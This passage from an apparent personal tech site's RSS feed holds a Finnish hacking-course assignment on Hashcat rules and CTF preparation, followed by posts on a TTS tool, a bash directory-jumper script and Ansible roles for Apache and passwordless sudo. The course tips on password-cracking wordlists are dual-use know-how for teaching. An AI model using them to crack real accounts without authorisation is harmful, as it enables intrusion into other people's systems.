&lt;li>h) Hash rules. Näytä esimerkki HashCatin sääntöjen käytöstä (rules).&lt;/li>
&lt;li>i) Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
&lt;ul>
&lt;li>amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.&lt;/li>
&lt;li>Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.&lt;/li>
&lt;li>Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.&lt;/li>
&lt;li>Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.&lt;/li>
&lt;li>Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.&lt;/li>
&lt;li>Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Sanakirjan teko, vaihtoehtoja
&lt;ul>
&lt;li>cewl (verbose, limit depth)&lt;/li>
&lt;li>copy-paste, sanat erilleen, duplikaatit pois&lt;/li>
&lt;li>Elokuu2026!, Syyskuu2026!...&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Hashcatin säännöistä best64 on kokeilemisen arvoinen&lt;/li>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan &lt;a href="https://libguides.haaga-helia.fi/az/databases">ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Onnea lipunryöstöön!&lt;/em>&lt;/p>
&lt;h3 id="h8-bonus">h8 Bonus&lt;/h3>
&lt;p>Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p>
&lt;ul>
&lt;li>a) Vapaaehtoiset tehtävät&lt;/li>
&lt;li>b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li>
&lt;li>c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
&lt;ul>
&lt;li>Projektit&lt;/li>
&lt;li>HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)&lt;/li>
&lt;li>Lipunryöstöt&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p></description></item><item><title>Card Size Gallery</title><link>https://terokarvinen.com/card-size-gallery/</link><pubDate>Mon, 03 Aug 2026 20:22:31 +0300</pubDate><guid>https://terokarvinen.com/card-size-gallery/</guid><description>
&lt;p>List of products is often shown as images on a grid. This pattern is called &amp;quot;cards&amp;quot;.&lt;/p>
&lt;p>Card Size Gallery allows you to test what different card formats look like.&lt;/p>
&lt;p>&lt;a href="card-sizes-grid.html">Try Card Size Gallery&lt;/a> - right in your browser.&lt;/p>
&lt;p>Clanker warning: I created this AI-assisted.&lt;/p>
&lt;p>&lt;a href="card-sizes-grid.html">
&lt;img src="https://terokarvinen.com/card-size-gallery/Test%20card%20sizes%20-%20grid%20of%20images_hucf46fc4697ff326a2efb2256be0582d9_254872_850x850_fit_box_3.png" width="775" height="850" alt=" " class="imgOne right">
&lt;/a>&lt;/p></description></item><item><title>Kokoro TTS - Voice Comparison</title><link>https://terokarvinen.com/kokoro-foss-tts-voice-comparison/</link><pubDate>Wed, 08 Jul 2026 17:10:54 +0300</pubDate><guid>https://terokarvinen.com/kokoro-foss-tts-voice-comparison/</guid><description>
&lt;p>Free, open weight models can generate speech. On your local machine.&lt;/p>
&lt;p>Listen to &lt;a href="https://terokarvinen.com/kokoro-voice-comparison/">voice samples of all Kokoro TTS voices&lt;/a> on the web.&lt;/p>
&lt;p>Optionally, install Kokoro with Podman.&lt;/p>
&lt;h2 id="listen-and-compare-voices-in-your-browser">Listen and Compare Voices in Your Browser&lt;/h2>
&lt;p>Search and filter by gender and language. The demo text is currently only in English.&lt;/p>
&lt;p>Kokoro is a free text-to-speech engine, architected by Li, Han, Raghavan, Mischler and Mesgarani; and trained by @rzvnzn. I just created the samples and the page to filter them. Their default flagship voice is af_heart (English, female), but there are many other interesting voices.&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/kokoro-voice-comparison/">Listen Kokoro samples now&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/kokoro-voice-comparison/">&lt;img src="kokoro-tts-foss-voice-comparison-samples-english-female.png" class="pad">&lt;/a>&lt;/p>
&lt;h2 id="run-kokoro-with-podman">Run Kokoro with Podman&lt;/h2>
&lt;p>These commands assume you already have Podman installed. Podman runs containers like Docker. It's safer than Docker, as it does not require root (or the infamous root-equivalent docker group).&lt;/p>
&lt;p>Let's download and run Brauns ready-made Kokoro container:&lt;/p>
&lt;pre>&lt;code>$ podman run -p 8880:8880 ghcr.io/remsky/kokoro-fastapi-cpu
&lt;/code>&lt;/pre>
&lt;p>Web user interface: &lt;a href="http://localhost:8880/web/">http://localhost:8880/web/&lt;/a>&lt;/p>
&lt;img src="fast-kokoro-web.jpg" class="pad">
&lt;p>API, usable with Python requests http://localhost:8880/v1&lt;/p>
&lt;h2 id="see-also">See also&lt;/h2>
&lt;p>Hacker News 2026: &lt;a href="https://news.ycombinator.com/item?id=48821576">Local, CPU-Friendly, High-Quality TTS (Text-to-Speech) with Kokoro&lt;/a>&lt;/p>
&lt;p>Li, Han, Raghavan, Mischler and Mesgarani, @rzvnzn 2026: &lt;a href="https://huggingface.co/hexgrad/Kokoro-82M">hexgrad/Kokoro-82M on HuggingFace&lt;/a>&lt;/p>
&lt;p>Braun 2026: &lt;a href="https://github.com/remsky/Kokoro-FastAPI">remsky / Kokoro-FastAPI on Github&lt;/a>&lt;/p></description></item><item><title>cdu - Jump up to project directory</title><link>https://terokarvinen.com/cdu-change-dir-up-to-project-dir/</link><pubDate>Mon, 06 Jul 2026 11:58:45 +0300</pubDate><guid>https://terokarvinen.com/cdu-change-dir-up-to-project-dir/</guid><description>
&lt;p>You're five levels deep in your git repo. You would like to get to the top level. 'cdu'.&lt;/p>
&lt;p>An up only directory jumper for zsh and bash. Nicely complements other directory jumpers, like zoxide, autojump or fasd.&lt;/p>
&lt;h2 id="usage-example">Usage example&lt;/h2>
&lt;pre>&lt;code>$ pwd
/home/tero/code/revincom/doc/design/subsystems/nav/fallbacks/sun
$ cdu
/home/tero/code/revincom
Found .git
&lt;/code>&lt;/pre>
&lt;p>If you have really deep repos, such as monorepos, cdu can help you even more.&lt;/p>
&lt;p>Deep in a Django project, cdu jumps to manage.py level first. The next cdu will take you to repo root.&lt;/p>
&lt;h2 id="a-new-cdu-change-dir-up">A new 'cdu', change dir up&lt;/h2>
&lt;p>I have used a longer bash version for years. This is a rewrite to support both zsh and bash. It's also shorter. Prettier and more features, but less tested than the old one.&lt;/p>
&lt;p>Save the source code to a dir where it runs (e.g. /usr/local/bin/changedirup). Make runnable (chmod ugo+rx /usr/local/bin/changedirup). Add to your .bashrc and .zshrc: 'alias cdu=&amp;quot;source changedirup&amp;quot;'. Log out and back.&lt;/p>
&lt;p>And now you can jump up with 'cdu'.&lt;/p>
&lt;h2 id="source-code-gpl">Source code, GPL&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#099">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#099">&lt;/span>&lt;span style="color:#09f;font-style:italic"># changedirup - cd up to project top dir, &amp;#39;alias cdu=&amp;#34;source changedirup&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># To persist it, add the alias to .zshrc or .bashrc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># Single usage also works with &amp;#39;source cdu&amp;#39; or &amp;#39;. cdu&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># Can be run again to go to even higher project dir. &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># cdu works with zsh and bash. Shebang #! is just for syntax highlight.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># SPDX-License-Identifier: GPL-3.0-or-later&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#09f;font-style:italic"># SPDX-FileCopyrightText: Copyright 2020-2026 Tero Karvinen https://TeroKarvinen.com&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#033">CDU_PWD_WAS&lt;/span>&lt;span style="color:#555">=&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span>&lt;span style="color:#069;font-weight:bold">$(&lt;/span>&lt;span style="color:#366">pwd&lt;/span>&lt;span style="color:#069;font-weight:bold">)&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#366">cd&lt;/span> ..
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#069;font-weight:bold">while&lt;/span> true; &lt;span style="color:#069;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">for&lt;/span> f in .git Makefile .profile .bashrc README.md requirements.txt go.mod manage.py hosts.ini .project project.godot Dockerfile Cargo.toml index.theme config.toml default.gpr DICOMDIR ansible.cfg site.yml Vagrantfile package.json pyproject.toml zowe.yaml pom.xml build.gradle Gemfile composer.json docker-compose.yml compose.yaml .cobaltstrike.beacon_keys flake.nix .zshrc .ssh .sliver .sliver-client .msf4 havoc_default.yaotl .projectile .svn .hg .fossil .jj .editorconfig _darcs .bzr Cargo.lock .bash_profile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">if&lt;/span> &lt;span style="color:#555">[&lt;/span> -e &lt;span style="color:#c30">&amp;#34;&lt;/span>&lt;span style="color:#033">$f&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span> &lt;span style="color:#555">]&lt;/span>; &lt;span style="color:#069;font-weight:bold">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">echo&lt;/span> &lt;span style="color:#c30">&amp;#34;Found &lt;/span>&lt;span style="color:#033">$f&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">pwd&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">break&lt;/span> &lt;span style="color:#f60">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">if&lt;/span> &lt;span style="color:#555">[&lt;/span> &lt;span style="color:#c30">&amp;#34;&lt;/span>&lt;span style="color:#069;font-weight:bold">$(&lt;/span>&lt;span style="color:#366">pwd&lt;/span>&lt;span style="color:#069;font-weight:bold">)&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span> &lt;span style="color:#555">=&lt;/span> &lt;span style="color:#c30">&amp;#34;/&amp;#34;&lt;/span> &lt;span style="color:#555">]&lt;/span>; &lt;span style="color:#069;font-weight:bold">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">cd&lt;/span> &lt;span style="color:#c30">&amp;#34;&lt;/span>&lt;span style="color:#033">$CDU_PWD_WAS&lt;/span>&lt;span style="color:#c30">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">echo&lt;/span> &lt;span style="color:#c30">&amp;#34;No project files found above. Working directory unchanged.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">pwd&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#069;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#366">cd&lt;/span> .. &lt;span style="color:#555">||&lt;/span> &lt;span style="color:#366">break&lt;/span> &lt;span style="color:#09f;font-style:italic"># prevent infinite loop in the rare case cd fails for permissions&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#069;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>ppp Personal Project Portfolio</title><link>https://terokarvinen.com/ppp-personal-project-portfolio/</link><pubDate>Thu, 02 Jul 2026 11:52:15 +0300</pubDate><guid>https://terokarvinen.com/ppp-personal-project-portfolio/</guid><description>
&lt;p>Arrange your ideas into a skill tree.&lt;/p>
&lt;ul>
&lt;li>Pick little wins on your way to big goals&lt;/li>
&lt;li>Ship something at every step&lt;/li>
&lt;li>Turn ambition into output&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://terokarvinen.com/ppp/">Open ppp in your browser&lt;/a>. Free, no login.&lt;/p>
&lt;h2 id="talk-nerd-to-me">Talk nerd to me&lt;/h2>
&lt;p>Single 50 kB HTML file with no dependencies. Use online or 100% offline. Your data stays yours: JSON export and import. Fully usable with keyboard-only - or mouse-only with keyboard just for typing names. A vibe-coded GUI editor for a directed acyclic graph with project-specific attributes: costs, deliverables, soft benefits. Public beta.&lt;/p>
&lt;p>Gain a bird's-eye view with ppp. I hope you have more ideas than time to do them. Use ppp to decide which path to pick next. Once you're committed, use &lt;a href="https://terokarvinen.com/2021/calendar-txt/">calendar.txt&lt;/a> and todo.txt for day-to-day and hour-to-hour.&lt;/p>
&lt;h2 id="try-ppp">Try ppp&lt;/h2>
&lt;p>&lt;a href="https://terokarvinen.com/ppp/">Try ppp&lt;/a>. Free web access, no login required. Optionally save the 50 kB HTML file for 100% offline use. Looking forward to your &lt;a href="#comments">comments&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/ppp/">
&lt;img src="https://terokarvinen.com/ppp-personal-project-portfolio/ppp%20Personal%20Portfolio%20Manager%20-%20A%20skill%20tree%20for%20life_hu1fdde610736e2f1bce27e11014b13464_169827_1000x1000_fit_box_3.png" width="1000" height="477" alt=" " class="imgOne pad">
&lt;/a>&lt;/p></description></item><item><title>Apache installed with Ansible - quick notes</title><link>https://terokarvinen.com/apache-ansible/</link><pubDate>Thu, 09 Apr 2026 16:10:04 +0300</pubDate><guid>https://terokarvinen.com/apache-ansible/</guid><description>
&lt;img src="https://terokarvinen.com/apache-ansible/apache-httpd-logo_hu0274bb063ced1072a70ec8e201c9b197_74947_400x400_fit_box_3.png" width="206" height="400" alt=" " class="imgOne right">
&lt;p>Install Apache 2 web server automatically. Serves a web site on the front page of http://localhost. Pages can be edited as a normal user - without root or sudo.&lt;/p>
&lt;p>Simplified Ansible role. An example of &lt;em>package-file-server&lt;/em> pattern. Just notes, no tutorial.&lt;/p>
&lt;p>Using these short notes require a working Ansible configuration - &lt;a href="https://terokarvinen.com/hello-ansible/">Hello Ansible&lt;/a>.&lt;/p>
&lt;h2 id="package-file-service-pattern">Package-file-service pattern&lt;/h2>
&lt;p>Daemons, like Apache2 web server, are somewhat similar. They are configured with package-file-service pattern. Install the daemon, change configuration by editing files, start it.&lt;/p>
&lt;ul>
&lt;li>package - sudo apt-get install apache2&lt;/li>
&lt;li>files - sudoedit /etc/apache2/...&lt;/li>
&lt;li>service - sudo systemctl restart apache2&lt;/li>
&lt;/ul>
&lt;p>Changes to configuration files only take effect after you kick the daemon. Thus, &lt;em>file&lt;/em> in tasks/main.yml &lt;em>notify&lt;/em> the &lt;em>handler&lt;/em> &amp;quot;restart apache2&amp;quot;.&lt;/p>
&lt;h2 id="tree-of-rolesapache2">tree of roles/apache2/&lt;/h2>
&lt;pre>&lt;code>roles/apache2/ # All files related to &amp;quot;apache2&amp;quot; role
├── files/ # Master copies of files
│   └── example.com.conf
├── handlers/ # restarting services
│   └── main.yml
└── tasks/ # most ansible code
└── main.yml
&lt;/code>&lt;/pre>
&lt;h2 id="tasksmainyml">tasks/main.yml&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">apt&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">copy&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;/etc/apache2/sites-available/example.com.conf&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">src&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;example.com.conf&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">mode&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;0644&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">notify&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">file&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">src&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>/etc/apache2/sites-available/example.com.conf&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>/etc/apache2/sites-enabled/example.com.conf&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>root&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>root&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>link&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">notify&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="handlersmainyml">handlers/main.yml&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">systemd&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restarted&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="filesexamplecomconf">files/example.com.conf&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-fallback" data-lang="fallback">&lt;span style="display:flex;">&lt;span># Managed file, changes will be overwritten
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;VirtualHost *:80&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ServerName example.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DocumentRoot /home/tero/publicsite/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;Directory /home/tero/publicsite/&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> require all granted
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/Directory&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/VirtualHost&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p></description></item><item><title>Passwordless Sudo with Ansible</title><link>https://terokarvinen.com/passwordless-sudo-with-ansible/</link><pubDate>Thu, 02 Apr 2026 16:44:50 +0300</pubDate><guid>https://terokarvinen.com/passwordless-sudo-with-ansible/</guid><description>
&lt;p>Sudo without password, automatically. Short example role for ansible.&lt;/p>
&lt;p>The role&lt;/p>
&lt;ul>
&lt;li>creates a new user in &amp;quot;sudoless&amp;quot; group&lt;/li>
&lt;li>adds a sudoers.d/ NOPASSWD rule for the group&lt;/li>
&lt;/ul>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;p>Applying this example file requires you to have &lt;a href="https://terokarvinen.com/hello-ansible/">Ansible working&lt;/a>.&lt;/p>
&lt;p>Tero's rule #1 for IaC: &lt;em>Manual before auto.&lt;/em>&lt;/p>
&lt;p>So it's a good idea to try creating &lt;a href="https://terokarvinen.com/passwordless-sudo/">passwordless sudo manually&lt;/a> first.&lt;/p>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;h2 id="tree">Tree&lt;/h2>
&lt;pre>&lt;code>$ tree -F
./
├── ansible.cfg
├── hosts.ini
├── roles/
│   ├── antero/
│   │   └── tasks/
│   │   └── main.yml
│   └── world/
│   └── tasks/
│   └── main.yml
└── site.yml
&lt;/code>&lt;/pre>
&lt;h2 id="role---antero">Role - antero&lt;/h2>
&lt;p>cat roles/antero/tasks/main.yml&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;sudoless&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">user&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;antero&amp;#34;&lt;/span>&lt;span style="color:#bbb">
